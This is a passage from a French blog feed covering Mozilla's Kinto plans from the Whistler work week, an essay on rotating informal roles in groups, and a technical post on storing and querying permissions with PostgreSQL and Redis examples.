<p>Alexis a sauté sur l'occasion pour commencer l'écriture d'<a class="reference external" href="https://github.com/mozilla-services/syncclient">un client python pour Firefox Sync</a>, qui servira de brique de base pour l'écriture du service.</p>
</div>
<div class="section" id="cloud-storage">
<h3>Cloud Storage</h3>
<p>Eden Chuang et Sean Lee ont présenté les avancées sur l'intégration de services de stockages
distants (<em>DropBox, Baidu Yun</em>) dans <em>Firefox OS</em>. Actuellement, leur preuve de
concept repose sur <a class="reference external" href="https://fr.wikipedia.org/wiki/Filesystem_in_Userspace">FUSE</a>.</p>
<p>Nous avons évidemment en tête d'introduire la notion de fichiers attachés dans
<em>Kinto</em>, en implémentant la specification
<a class="reference external" href="https://tools.ietf.org/html/draft-dejong-remotestorage-05">*Remote Storage*</a>,
mais pour l'instant les cas d'utilisations ne se sont pas encore présentés officiellement.</p>
</div>
<div class="section" id="id2">
<h3>À venir</h3>
<p>Nous serons probablement amenés à introduire la gestion de la concurrence dans
le client JS, en complément de ce qui a été fait sur le serveur, pour permettre
les écritures simultanées et synchronisation en tâche de fond.</p>
<p>Nous sommes par ailleurs perpétuellement preneurs de vos retours — et bien
entendu de vos contributions — tant sur le code <a class="reference external" href="https://github.com/mozilla-services/kinto/">serveur</a>
que <a class="reference external" href="https://github.com/mozilla-services/kinto.js/">client</a> !</p>
<img alt="Firefox OS Cloud Storage Presentation - CC0" class="align-center" src="{filename}/images/whistler-cloud-storage.jpg" />
</div>
</div>
<div class="section" id="contenus-applicatifs-de-firefox">
<h2>Contenus applicatifs de Firefox</h2>
<p>Aujourd'hui Firefox a un cycle de release de six semaines. Un des objectifs
consiste à désolidariser certains contenus applicatifs de ces cycles
relativement longs (ex. <em>règles de securité, dictionnaires, traductions, ...</em>) <a class="footnote-reference" href="#id4" id="id3">[1]</a>.</p>
<p>Il s'agit de données JSON et binaire qui doivent être versionnées et synchronisées par
les navigateurs (<em>lecture seule</em>).</p>
<p>Il y a plusieurs outils officiels qui existent pour gérer ça (<em>Balrog</em>, <em>Shavar</em>, ...),
et pour l'instant, aucun choix n'a été fait. Mais lors des conversations avec
l'équipe en charge du projet, ce fût vraiment motivant de voir que même pour
ce genre de besoins internes, <em>Kinto</em> est tout aussi pertinent !</p>
<table class="docutils footnote" frame="void" id="id4" rules="none">
<colgroup><col class="label" /><col /></colgroup>
<tbody valign="top">
<tr><td class="label"><a class="fn-backref" href="#id3">[1]</a></td><td>La bonne nouvelle c'est que toutes les fonctionnalités <em>third-party</em> qui ont
été intégrées récemment vont redevenir des <em>add-ons</em> \o/.</td></tr>
</tbody>
</table>
<img alt="Landscape - CC0" class="align-center" src="{filename}/images/whistler-landscape.jpg" />
</div>
<div class="section" id="awesome-bar">
<h2>Awesome bar</h2>
<p>L'équipe <em>Firefox Labs</em>, le laboratoire qui élève des pandas roux en éprouvette,
serait vraiment intéressé par notre solution, notamment pour abreuver en données
un prototype pour améliorer <em>Awesome bar</em>, qui fusionnerait URL, historique et recherche.</p>
<p>Nous ne pouvons pas en dire beaucoup plus pour l'instant, mais les fonctionnalités
de collections d'enregistrements partagées entre utilisateurs de <em>Kinto</em>
correspondent parfaitement à ce qui est envisagé pour le futur du navigateur :)</p>
<div class="section" id="id5">
<h3>À venir</h3>
<p>Nous serons donc probablement amenés, avant de la fin de l'année, à introduire des
fonctionnalités d'indexation et de recherche <em>full-text</em> (comprendre <em>ElasticSearch</em>).
Cela rejoint nos plans précédents, puisque c'est quelque chose que nous avions dans
<em>Daybed</em>, et qui figurait sur notre feuille de route !</p>
<img alt="Firefox Labs Meeting - CC0" class="align-center" src="{filename}/images/whistler-labs.jpg" />
</div>
</div>
<div class="section" id="browser-html">
<h2>Browser.html</h2>
<p>L'équipe <em>Recherche</em> explore les notions de plateforme, et travaille notamment
sur l'implémentation d'un navigateur en JS/HTML avec <em>React</em>:
<a class="reference external" href="https://github.com/mozilla/browser.html">browser.html</a></p>
<p><em>Kinto</em> correspond parfaitement aux attentes
de l'équipe pour synchroniser les données associées à un utilisateur.</p>
<p>Il pourrait s'agir de données de navigation (comme Sync), mais aussi de collections
d'enregistrements diverses, comme par exemple les préférences du navigateur
ou un équivalent à <em>Alexa.com Top 500</em> pour fournir la complétion d'URL sans
interroger le moteur de recherche.</p>
<p>L'exercice pourrait être poussé jusqu'à la synchronisation d'états <em>React</em>
entre périphériques (par exemple pour les onglets).</p>
<div class="section" id="id7">
<h3>À venir</h3>
<p>Si <em>browser.html</em> doit stocker des données de navigation, il faudra ajouter
des fonctionnalités de chiffrement sur le client JS. Ça tombe bien, c'est un
sujet passionant, et <a class="reference external" href="http://www.w3.org/TR/WebCryptoAPI/">il y a plusieurs standards</a> !</p>
<p>Pour éviter d'interroger le serveur à intervalle régulier afin de synchroniser les
changements, l'introduction des <a class="reference external" href="https://w3c.github.io/push-api/">*push notifications*</a> semble assez naturelle.
Il s'agirait alors de la dernière pierre qui manque à l'édifice pour obtenir
un «<em>Mobile/Web backend as a service</em>» complet.</p>
<img alt="Roadmap - CC0" class="align-center" src="{filename}/images/whistler-roadmap.jpg" />
</div>
</div>
<div class="section" id="conclusion">
<h2>Conclusion</h2>
<p>Nous sommes dans une situation idéale, puisque ce que nous avions imaginé
sur <a class="reference external" href="https://github.com/mozilla-services/kinto/wiki/Roadmap">notre feuille de route</a> correspond à ce qui nous est demandé par les
différentes équipes.</p>
<p>L'enjeu consiste maintenant à se coordonner avec tout le monde, ne pas décevoir,
tenir la charge, continuer à améliorer et à faire la promotion du produit, se concentrer
sur les prochaines étapes et embarquer quelques contributeurs à nos cotés pour
construire une solution libre, générique, simple et auto-hébergeable pour le stockage
de données sur le Web :)</p>
<img alt="Friday Night Party - CC0" class="align-center" src="{filename}/images/whistler-top-roof.jpg" />
</div>
Rôles2015-06-29T00:00:00+02:002015-06-29T00:00:00+02:00tag:blog.notmyidea.org,2015-06-29:/roles.html<p>Headline : De l'importance des rôles informels et de leur partage au sein d'un groupe.</p>
<blockquote>
<p>Un […] dispositif consiste à tenter de faire bouger les rôles
(pré)acquis ou qui se fixent dans le groupe, les pousser ailleurs que
là où ils ont pris l’habitude de se réfugier suivant leur pente …</p></blockquote><p>Headline : De l'importance des rôles informels et de leur partage au sein d'un groupe.</p>
<blockquote>
<p>Un […] dispositif consiste à tenter de faire bouger les rôles
(pré)acquis ou qui se fixent dans le groupe, les pousser ailleurs que
là où ils ont pris l’habitude de se réfugier suivant leur pente «
naturelle ».</p>
<p>Pour ce faire, le groupe prendra du temps pour identifier les types de
positions qu’adoptent ses protagonistes et les affects qui y sont
liés, imaginer ensuite des questions à résoudre ou des propositions à
travailler qui soient susceptibles d’enrichir la palette, les couleurs
de la fonction de chacun dans le groupe et les manières qui sont les
siennes d’intervenir et de faire évoluer l’histoire.</p>
<p>-- David Vercauteren, <a href="http://micropolitiques.collectifs.net/Role">Micropolitiques des
groupes</a></p>
</blockquote>
<p>Réussir la transformation d'un espace compétitif vers un groupe soudé
demande de réaliser quels sont les points forts de chacun au sein d'un
groupe.</p>
<p>Une solution évoquée par <a href="http://www.starhawk.org/about/">StarHawk</a>,
reprise par <em>David Vercauteren</em> repose sur l'existence de rôles
informels au sein des groupes et la nécessité de les faire tourner
(ainsi que les responsabilités attachées).</p>
<p>Parmi les rôles principaux, quelques autres citations:</p>
<div class="note">
<div class="admonition-title">
Note
</div>
l'emphase est de mon fait, et je retravaillé très legèrement certains
passages afin d'avoir une lecture plus fluide. Je vous invite à suivre
les liens pour voir les "questions que chaque rôle fait exister", et
poursuivre la lecture du livre, qui est entièrement disponible en
ligne.
</div>
<h2><a href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_0">Les corbeaux</a></h2>
<blockquote>
<p>Les Corbeaux sont visionnaires […] Ils voient à long terme, et
gardent en ligne de mire les objectifs du groupe. Ils suggèrent de
nouvelles directions, dressent des plans, développent des stratégies
et anticipent les problèmes et les besoins.</p>
<p>Les Corbeaux ont souvent beaucoup d’influence sur le groupe. Si une ou
deux personnes pensent à des plans au long-terme, les autres
acquiesceront, simplement parce qu’ils n’ont pas amené d’autres
propositions. <strong>Le groupe aurait intérêt à considérer ensemble les
questions du
Corbeau</strong></p>
</blockquote>
<h2><a href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_1">Les graces</a></h2>
<blockquote>
<p>Les Grâces sont toujours attentives à l’énergie du groupe, prêtes à la
renforcer au moment où elle faiblit, à la diriger et à la canaliser
quand elle est forte.</p>
<p>Elles apportent au groupe […] enthousiasme, énergie, capacité à
s’agrandir. <strong>Elles font en sorte que les gens se sentent bien</strong>,
génèrent de l’enthousiasme pour le groupe, accueillent les nouveaux
venus, amènent de nouvelles personnes. Elles offrent au groupe
l’inspiration et génèrent de nouvelles
idées.</p>
</blockquote>
<h2><a href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_2">Les dragons</a></h2>
<blockquote>
<p>Le dragon permet au groupe de rester connecté à […] l’aspect
pratique et réaliste des choses. […] Le dragon veille aux ressources
du groupe, à ses frontières et donne voix à ses limites.</p>
<p>Questions que fait exister le dragon:</p>
<ul>
<li>Notre manière de travailler est-elle viable ?</li>
<li>Nos ressources sont-elles renouvelées ?</li>
<li>Les gens s’épuisent-ils ? Pourquoi ?</li>
<li>Pouvons-nous vraiment nous lancer dans ce projet et le mener à
bien convenablement ?</li>
<li>De quelles frontières avec l’extérieur avons-nous besoin et
voulons-nous ?</li>
<li>Comment établissons-nous ces frontières ? Comment nous
protégeons-nous des intrusions ? Invasions ? Distractions ? De ce
qui épuise nos énergies ?</li>
</ul>
<p><strong>Les Dragons établissent des frontières qui donnent au groupe un
sentiment de sécurité et des limites qui le rendent viable dans le
temps</strong>. Ils peuvent être perçus comme des rabat-joie, mais ils
peuvent gagner l’estime de ceux qui, dans le groupe, se sentent
dépassés et ne peuvent partager l’énergie des Corbeaux et des
Grâces.</p>
<p>Nourrir les Dragons peut permettre au groupe de se maintenir dans le
temps. Mais une fois encore, si ce rôle ne tourne pas, même les
Dragons risquent de
s’épuiser.</p>
</blockquote>
<h2><a href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_3">Les araignées</a></h2>
<blockquote>
<p>Le centre d’un groupe peut consister en un « cœur spirituel », <strong>un
but ou une vision commune</strong>, ou peut se manifester à travers une
personne. Dans les modes de pensée hiérarchique, le professeur ou le
gourou occupe le centre du réseau. […]</p>
<p>Dans les groupes non-hiérarchiques, certaines personnes peuvent être
perçues comme centrales : en disposant des informations dont les
autres ont besoin, en étant le point de contact pour les autres.</p>
<p>Une Araignée est toutefois plus efficace en ne monopolisant pas la
communication et les informations mais en posant les questions
susceptibles de créer et de renforcer un véritable réseau
d’interactions
complexes.</p>
</blockquote>
<h2><a href="http://micropolitiques.collectifs.net/Role?artpage=2-5#outil_sommaire_4">Les serpents</a></h2>
<blockquote>
<p>Les serpents cultivent une attention particulière à la manière dont
les gens se sentent. […]</p>
<p>Les serpents sont au courant de ce qui se murmure dans les couloirs,
des conflits naissants, et les mettent sur la place publique, là où
ils pourraient aider à une médiation, à une résolution du problème.
[…]</p>
<p>Les serpents transgressent les lois du Censeur, <strong>parlent des
non-dits, mettent en évidence ce que d’autres ne voient pas ou
préfèrent garder caché</strong>. […]</p>
<p>Les serpents peuvent diminuer l’antipathie dont ils font l’objet s’ils
prennent la peine de poser des questions au groupe et non d’apporter
des analyses.</p>
</blockquote>
<p>Ainsi, il est possible de se rendre compte de la complexité et de
l'importance d'une position ou d'une autre, et de les faire évoluer
ensemble, en prenant en compte leur impact positif sur le groupe.</p>
<p>Il est par exemple possible, après avoir expérimenté des rôles, de
questionner leur pertinence et d'établir des pistes d'amélioration en
enlevant une part importante d'affect personnel qui parfois empêche des
discussions constructives.</p>
<p>Je n'ai pour l'instant pas pu expérimenter l'évolution des rôles au sein
d'un groupe donné, mais je peux d'ores et déjà me rendre compte que
selon les groupes et selon les moments je n'ai pas le même rôle (tour à
tour dragon, araignée et grace, parfois corbeau, rarement serpent)</p>
<p>Aussi, il semble que le groupe doive souhaiter l'établissement d'un
environnement <em>horizontal</em>, avec une considération partagée de la
direction que le groupe souhaite prendre pour qu'un tel dispositif ait
du sens.</p>Service de nuages : Stocker et interroger les permissions avec Kinto2015-05-26T00:00:00+02:002015-05-26T00:00:00+02:00tag:blog.notmyidea.org,2015-05-26:/service-de-nuages-stocker-et-interroger-les-permissions-avec-kinto-fr.html<p class="first last">Comment faire pour stocker et interroger la base de données au sujet des permissions avec Kinto ?</p>
<p><em>Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla</em></p>
<p><strong>tl;dr: On a maintenant un super système de permission mais comment faire pour stocker et interroger ces permissions de manière efficace ?</strong></p>
<div class="section" id="la-problematique">
<h2>La problématique</h2>
<p>Maintenant que nous avons défini un modèle de gestion des permissions
sur les objets qui nous satisfait, le problème est de stocker ces
permissions de manière efficace afin de pouvoir autoriser ou interdire
l'accès à un objet pour la personne qui fait la requête.</p>
<p>Chaque requête sur notre API va générer une ou plusieurs demandes
d'accès, il faut donc que la réponse soit très rapide sous peine
d'impacter la vélocité du service.</p>
</div>
<div class="section" id="obtenir-la-liste-des-principals-d-un-utilisateur">
<h2>Obtenir la liste des "principals" d'un utilisateur</h2>
<p>Les <em>principals</em> de l'utilisateur correspondent à son <tt class="docutils literal">user_id</tt>
ainsi qu'à la liste des identifiants des groupes dans lesquels il a
été ajouté.</p>
<p>Pour éviter de recalculer les <em>principals</em> de l'utilisateur à chaque
requête, le mieux reste de maintenir une liste des <em>principals</em> par
utilisateur.</p>
<p>Ainsi lorsqu'on ajoute un utilisateur à un groupe, il faut bien penser
à ajouter le groupe à la liste des <em>principals</em> de l'utilisateur.</p>
<p>Ça se complexifie lorsqu'on ajoute un groupe à un groupe.</p>
<p>Dans un premier temps interdire l'ajout d'un groupe à un groupe est
une limitation qu'on est prêts à accepter pour simplifier le
modèle.</p>
<p>L'avantage de maintenir la liste des <em>principals</em> d'un utilisateur
lors de la modification de cette liste c'est qu'elle est déjà
construite lors des lectures, qui sont dans notre cas plus fréquentes
que les écritures.</p>
<p>Cela nécessite de donner un identifiant unique aux groupes pour tous
les <em>buckets</em>.</p>
<p>Nous proposons de de les nommer avec leur URI:
<tt class="docutils literal">/buckets/blog/groups/moderators</tt></p>
</div>
<div class="section" id="obtenir-la-liste-des-principals-d-un-ace">
<h2>Obtenir la liste des "principals" d'un ACE</h2>
<blockquote>
Rappel, un "ACE" est un <em>Access Control Entry</em>, un des éléments
d'une ACL (e.g. <em>modifier un enregistrement</em>).</blockquote>
<p>Avec le <a class="reference external" href="{filename}/2015.05.cliquet-permissions.rst">système de permissions choisi</a>, les permissions d'un
objet héritent de celle de l'objet parent.</p>
<p>Par exemple, avoir le droit d'écriture sur un <em>bucket</em> permet la
création des permissions et la modification de tous ses records.</p>
<p>Ce qui veut dire que pour obtenir la liste complète des <em>principals</em>
ayant une permission sur un objet, il faut regarder à plusieurs
endroits.</p>
<p>Rémy a <a class="reference external" href="https://gist.github.com/Natim/77c8f61c1d42e476cef8#file-permission-py-L9-L52">décrit dans un gist la liste d'héritage de chaque permission</a>.</p>
<p>Prenons l'exemple de l'ajout d'un record dans une collection.</p>
<p>Le droit <tt class="docutils literal">records:create</tt> est obtenu si l'on a l'un des droits suivants:</p>
<ul class="simple">
<li><tt class="docutils literal">bucket:write</tt></li>
<li><tt class="docutils literal">collection:write</tt></li>
<li><tt class="docutils literal">records:create</tt></li>
</ul>
<p>Notre première idée était de stocker les permissions sur chaque objet
et de maintenir la liste exhaustive des permissions lors d'une
modification d'ACL. Cependant cela nécessitait de construire cette
liste lors de l'ajout d'un objet et de mettre à jour tout l'arbre lors
de sa suppression. (<em>Je vous laisse imaginer le nombre d'opérations
nécessaires pour ajouter un administrateur sur un *bucket</em> contenant
1000 collections avec 100000 records chacune.*)</p>
<p>La solution que nous avons désormais adoptée consiste à stocker les
<em>principals</em> de chaque <em>ACE</em> (<em>qui</em> a le droit de faire telle action
sur l'objet), et de faire l'union des <em>ACE</em> hérités, afin de les
croiser avec les <em>principals</em> de l'utilisateur :</p>
<blockquote>
(ACE(object, permission) ∪ inherited_ACE) ∩ PRINCIPALS(user)</blockquote>
<p>Par exemple l'ACE: <tt class="docutils literal">/buckets/blog/collections/article:records:create</tt> hérite de
l'ACE <tt class="docutils literal">/buckets/blog/collections/article:write</tt> et de <tt class="docutils literal">/buckets/blog:write</tt> :</p>
<blockquote>
(ACE(/buckets/blog/collections/article:records:create) ∪ ACE(/buckets/blog/collections/article:write) ∪ ACE(/buckets/blog:write)) ∩ PRINCIPALS('fxa:alexis')</blockquote>
</div>
<div class="section" id="recuperer-les-donnees-de-l-utilisateur">
<h2>Récupérer les données de l'utilisateur</h2>
<p>La situation se corse lorsqu'on souhaite limiter la liste des
<em>records</em> d'une collection à ceux accessibles pour l'utilisateur, car
on doit faire cette intersection pour tous les <em>records</em>.</p>
<p>Une première solution est de regarder si l'utilisateur est mentionné
dans les <em>ACL*s du *bucket</em> ou de la <em>collection</em>:</p>
<p>Ensuite, si ce n'est pas le cas, alors on filtre les <em>records</em> pour
lesquels les <em>principals</em> correspondent à ceux de l'utilisateur.</p>
<div class="highlight"><pre><span></span><span class="n">principals</span> <span class="o">=</span> <span class="n">get_user_principals</span><span class="p">(</span><span class="n">user_id</span><span class="p">)</span>
<span class="n">can_read_all</span> <span class="o">=</span> <span class="n">has_read_perms</span><span class="p">(</span><span class="n">bucket_id</span><span class="p">,</span> <span class="n">collection_id</span><span class="p">,</span>
<span class="n">principals</span><span class="p">)</span>
<span class="k">if</span> <span class="n">can_read_all</span><span class="p">:</span>
<span class="n">records</span> <span class="o">=</span> <span class="n">get_all_records</span><span class="p">(</span><span class="n">bucket_id</span><span class="p">,</span> <span class="n">collection_id</span><span class="p">,</span>
<span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="o">...</span><span class="p">])</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">records</span> <span class="o">=</span> <span class="n">filter_read_records</span><span class="p">(</span><span class="n">bucket_id</span><span class="p">,</span> <span class="n">collection_id</span><span class="p">,</span>
<span class="n">principals</span><span class="o">=</span><span class="n">principals</span><span class="p">,</span>
<span class="n">filters</span><span class="o">=</span><span class="p">[</span><span class="o">...</span><span class="p">])</span>
</pre></div>
<p>Il faudra faire quelque chose de similaire pour la suppression
multiple, lorsqu'un utilisateur souhaitera supprimer des
enregistrements sur lesquels il a les droits de lecture mais pas
d'écriture.</p>
</div>
<div class="section" id="le-modele-de-donnees">
<h2>Le modèle de données</h2>
<p>Pour avoir une idée des requêtes dans un backend SQL, voyons un peu ce
que donnerait le modèle de données.</p>
<div class="section" id="le-format-des-id">
<h3>Le format des ID</h3>
<p>Utiliser des URI comme identifiant des objets présente de nombreux
avantages (lisibilité, unicité, cohérence avec les URLs)</p>
<ul class="simple">
<li>bucket: <tt class="docutils literal">/buckets/blog</tt></li>
<li>groupe: <tt class="docutils literal">/buckets/blog/group/moderators</tt></li>
<li>collection: <tt class="docutils literal">/buckets/blog/collections/articles</tt></li>
<li>record: <tt class="docutils literal"><span class="pre">/buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200</span></tt></li>
</ul>
</div>
<div class="section" id="les-tables">
<h3>Les tables</h3>
<p>Pour le stockage des principals et des permissions:</p>
<div class="highlight"><pre><span></span><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="k">user</span><span class="p">(</span><span class="n">id</span> <span class="nb">TEXT</span><span class="p">,</span> <span class="n">principals</span> <span class="nb">TEXT</span><span class="p">[]);</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">perms</span><span class="p">(</span><span class="n">ace</span> <span class="nb">TEXT</span><span class="p">,</span> <span class="n">principals</span> <span class="nb">TEXT</span><span class="p">[]);</span>
</pre></div>
<p>La table <em>perms</em> va associer des <em>principals</em> à chaque <em>ACE</em>
(e.g.``/buckets/blog:write``).</p>
<p>Pour le stockage des données:</p>
<div class="highlight"><pre><span></span><span class="k">CREATE</span> <span class="k">TABLE</span> <span class="k">object</span><span class="p">(</span><span class="n">id</span> <span class="nb">TEXT</span><span class="p">,</span> <span class="k">type</span> <span class="nb">TEXT</span><span class="p">,</span> <span class="n">parent_id</span> <span class="nb">TEXT</span><span class="p">,</span> <span class="k">data</span> <span class="n">JSONB</span><span class="p">,</span>
<span class="n">write_principals</span> <span class="nb">TEXT</span><span class="p">[],</span> <span class="n">read_principals</span> <span class="nb">TEXT</span><span class="p">[]);</span>
</pre></div>
<p>La colonne <em>parent_id</em> permet de savoir à qui appartient l'objet
(e.g. groupe d'un <em>bucket</em>, collection d'un <em>bucket</em>, <em>record</em> d'une
collection, ...).</p>
</div>
<div class="section" id="exemple-d-utilisateur">
<h3>Exemple d'utilisateur</h3>
<div class="highlight"><pre><span></span><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">user</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="n">principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span><span class="s1">'fxa:alexis'</span><span class="p">,</span> <span class="s1">'{}'</span><span class="p">);</span>
<span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">user</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="n">principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span><span class="s1">'fxa:natim'</span><span class="p">,</span>
<span class="s1">'{"/buckets/blog/groups/moderators"}'</span><span class="p">);</span>
</pre></div>
</div>
<div class="section" id="exemple-d-objets">
<h3>Exemple d'objets</h3>
<div class="section" id="bucket">
<h4>Bucket</h4>
<div class="highlight"><pre><span></span><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">object</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">type</span><span class="p">,</span> <span class="n">parent_id</span><span class="p">,</span> <span class="k">data</span><span class="p">,</span>
<span class="n">read_principals</span><span class="p">,</span> <span class="n">write_principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span>
<span class="s1">'/buckets/blog'</span><span class="p">,</span>
<span class="s1">'bucket'</span><span class="p">,</span>
<span class="k">NULL</span><span class="p">,</span>
<span class="s1">'{"name": "blog"}'</span><span class="p">::</span><span class="n">JSONB</span><span class="p">,</span>
<span class="s1">'{}'</span><span class="p">,</span> <span class="s1">'{"fxa:alexis"}'</span><span class="p">);</span>
</pre></div>
</div>
<div class="section" id="group">
<h4>Group</h4>
<div class="highlight"><pre><span></span><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">object</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">type</span><span class="p">,</span> <span class="n">parent_id</span><span class="p">,</span> <span class="k">data</span><span class="p">,</span>
<span class="n">read_principals</span><span class="p">,</span> <span class="n">write_principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span>
<span class="s1">'/buckets/blog/groups/moderators'</span><span class="p">,</span>
<span class="s1">'group'</span><span class="p">,</span>
<span class="s1">'/buckets/blog'</span><span class="p">,</span>
<span class="s1">'{"name": "moderators", "members": ['</span><span class="n">fxa</span><span class="p">:</span><span class="n">natim</span><span class="s1">']}'</span><span class="p">::</span><span class="n">JSONB</span><span class="p">,</span>
<span class="s1">'{}'</span><span class="p">,</span> <span class="s1">'{}'</span><span class="p">);</span>
</pre></div>
<p>Ce groupe peut être gére par <tt class="docutils literal">fxa:alexis</tt> puisqu'il a la permission
<tt class="docutils literal">write</tt> dans le <em>bucket</em> parent.</p>
</div>
<div class="section" id="collection">
<h4>Collection</h4>
<div class="highlight"><pre><span></span><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">object</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">type</span><span class="p">,</span> <span class="n">parent_id</span><span class="p">,</span> <span class="k">data</span><span class="p">,</span>
<span class="n">read_principals</span><span class="p">,</span> <span class="n">write_principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span>
<span class="s1">'/buckets/blog/collections/articles'</span><span class="p">,</span>
<span class="s1">'collection'</span><span class="p">,</span>
<span class="s1">'/buckets/blog'</span><span class="p">,</span>
<span class="s1">'{"name": "article"}'</span><span class="p">::</span><span class="n">JSONB</span><span class="p">,</span>
<span class="s1">'{"system.Everyone"}'</span><span class="p">,</span>
<span class="s1">'{"/buckets/blog/groups/moderators"}'</span><span class="p">);</span>
</pre></div>
<p>Cette collection d'articles peut être lue par tout le monde,
et gérée par les membres du groupe <tt class="docutils literal">moderators</tt>, ainsi que
<tt class="docutils literal">fxa:alexis</tt>, via le <em>bucket</em>.</p>
</div>
<div class="section" id="records">
<h4>Records</h4>
<div class="highlight"><pre><span></span><span class="k">INSERT</span> <span class="k">INTO</span> <span class="k">object</span> <span class="p">(</span><span class="n">id</span><span class="p">,</span> <span class="k">type</span><span class="p">,</span> <span class="n">parent_id</span><span class="p">,</span> <span class="k">data</span><span class="p">,</span>
<span class="n">read_principals</span><span class="p">,</span> <span class="n">write_principals</span><span class="p">)</span>
<span class="k">VALUES</span> <span class="p">(</span>
<span class="s1">'/buckets/blog/collections/articles/records/02f3f76f-7059-4ae4-888f-2ac9824e9200'</span><span class="p">,</span>
<span class="s1">'record'</span><span class="p">,</span>
<span class="s1">'/buckets/blog/collections/articles'</span><span class="p">,</span>
<span class="s1">'{"name": "02f3f76f-7059-4ae4-888f-2ac9824e9200",</span>
<span class="s1"> "title": "Stocker les permissions", ...}'</span><span class="p">::</span><span class="n">JSONB</span><span class="p">,</span>
<span class="s1">'{}'</span><span class="p">,</span> <span class="s1">'{}'</span><span class="p">);</span>
</pre></div>
</div>
</div>
<div class="section" id="interroger-les-permissions">
<h3>Interroger les permissions</h3>
<div class="section" id="id1">
<h4>Obtenir la liste des "principals" d'un ACE</h4>
<p>Comme vu plus haut, pour vérifier une permission, on fait l'union des
<em>principals</em> requis par les objets hérités, et on teste leur
intersection avec ceux de l'utilisateur:</p>
<div class="highlight"><pre><span></span><span class="k">WITH</span> <span class="n">required_principals</span> <span class="k">AS</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="k">unnest</span><span class="p">(</span><span class="n">principals</span><span class="p">)</span> <span class="k">AS</span> <span class="n">p</span>
<span class="k">FROM</span> <span class="n">perms</span>
<span class="k">WHERE</span> <span class="n">ace</span> <span class="k">IN</span> <span class="p">(</span>
<span class="s1">'/buckets/blog:write'</span><span class="p">,</span>
<span class="s1">'/buckets/blog:read'</span><span class="p">,</span>
<span class="s1">'/buckets/blog/collections/article:write'</span><span class="p">,</span>
<span class="s1">'/buckets/blog/collections/article:read'</span><span class="p">)</span>
<span class="p">),</span>
<span class="n">user_principals</span> <span class="k">AS</span> <span class="p">(</span>
<span class="k">SELECT</span> <span class="k">unnest</span><span class="p">(</span><span class="n">principals</span><span class="p">)</span>
<span class="k">FROM</span> <span class="k">user</span>
<span class="k">WHERE</span> <span class="n">id</span> <span class="o">=</span> <span class="s1">'fxa:natim'</span>
<span class="p">)</span>
<span class="k">SELECT</span> <span class="k">COUNT</span><span class="p">(</span><span class="o">*</span><span class="p">)</span>
<span class="k">FROM</span> <span class="n">user_principals</span> <span class="n">a</span>
<span class="k">INNER</span> <span class="k">JOIN</span> <span class="n">required_principals</span> <span class="n">b</span>
<span class="k">ON</span> <span class="n">a</span><span class="p">.</span><span class="n">p</span> <span class="o">=</span> <span class="n">b</span><span class="p">.</span><span class="n">p</span><span class="p">;</span>
</pre></div>
</div>
<div class="section" id="filtrer-les-objets-en-fonction-des-permissions">
<h4>Filtrer les objets en fonction des permissions</h4>
<p>Pour filtrer les objets, on fait une simple intersection de liste
(<em>merci PostgreSQL</em>):</p>
<div class="highlight"><pre><span></span><span class="k">SELECT</span> <span class="k">data</span>
<span class="k">FROM</span> <span class="k">object</span> <span class="n">o</span><span class="p">,</span> <span class="k">user</span> <span class="n">u</span>
<span class="k">WHERE</span> <span class="n">o</span><span class="p">.</span><span class="k">type</span> <span class="o">=</span> <span class="s1">'record'</span>
<span class="k">AND</span> <span class="n">o</span><span class="p">.</span><span class="n">parent_id</span> <span class="o">=</span> <span class="s1">'/buckets/blog/collections/article'</span>
<span class="k">AND</span> <span class="p">(</span><span class="n">o</span><span class="p">.</span><span class="n">read_principals</span> <span class="o">&&</span> <span class="n">u</span><span class="p">.</span><span class="n">principals</span> <span class="k">OR</span>
<span class="n">o</span><span class="p">.</span><span class="n">write_principals</span> <span class="o">&&</span> <span class="n">u</span><span class="p">.</span><span class="n">principals</span><span class="p">)</span>
<span class="k">AND</span> <span class="n">u</span><span class="p">.</span><span class="n">id</span> <span class="o">=</span> <span class="s1">'fxa:natim'</span><span class="p">;</span>
</pre></div>
<p>Les listes s'indexent bien, notamment grâce aux <a class="reference external" href="http://www.postgresql.org/docs/current/static/indexes-types.html">index GIN</a>.</p>
</div>
</div>
<div class="section" id="avec-redis">
<h3>Avec Redis</h3>
<p><em>Redis</em> présente plusieurs avantages pour ce genre de
problématiques. Notamment, il gère les <em>set</em> nativement (listes de
valeurs uniques), ainsi que les opérations d'intersection et d'union.</p>
<p>Avec <em>Redis</em> on peut écrire l'obtention des <em>principals</em> pour un <em>ACE</em>
comme cela :</p>
<div class="highlight"><pre><span></span>SUNIONSTORE temp_perm:/buckets/blog/collections/articles:write permission:/buckets/blog:write permission:/buckets/blog/collections/articles:write
SINTER temp_perm:/buckets/blog/collections/articles:write principals:fxa:alexis
</pre></div>
<ul class="simple">
<li><tt class="docutils literal">SUNIONSTORE</tt> permet de créer un set contenant les éléments de
l'union de tous les set suivants. Dans notre cas on le nomme
<tt class="docutils literal"><span class="pre">temp_perm:/buckets/blog/collections/articles:write</span></tt> et il contient
l'union des sets d'ACLs suivants:
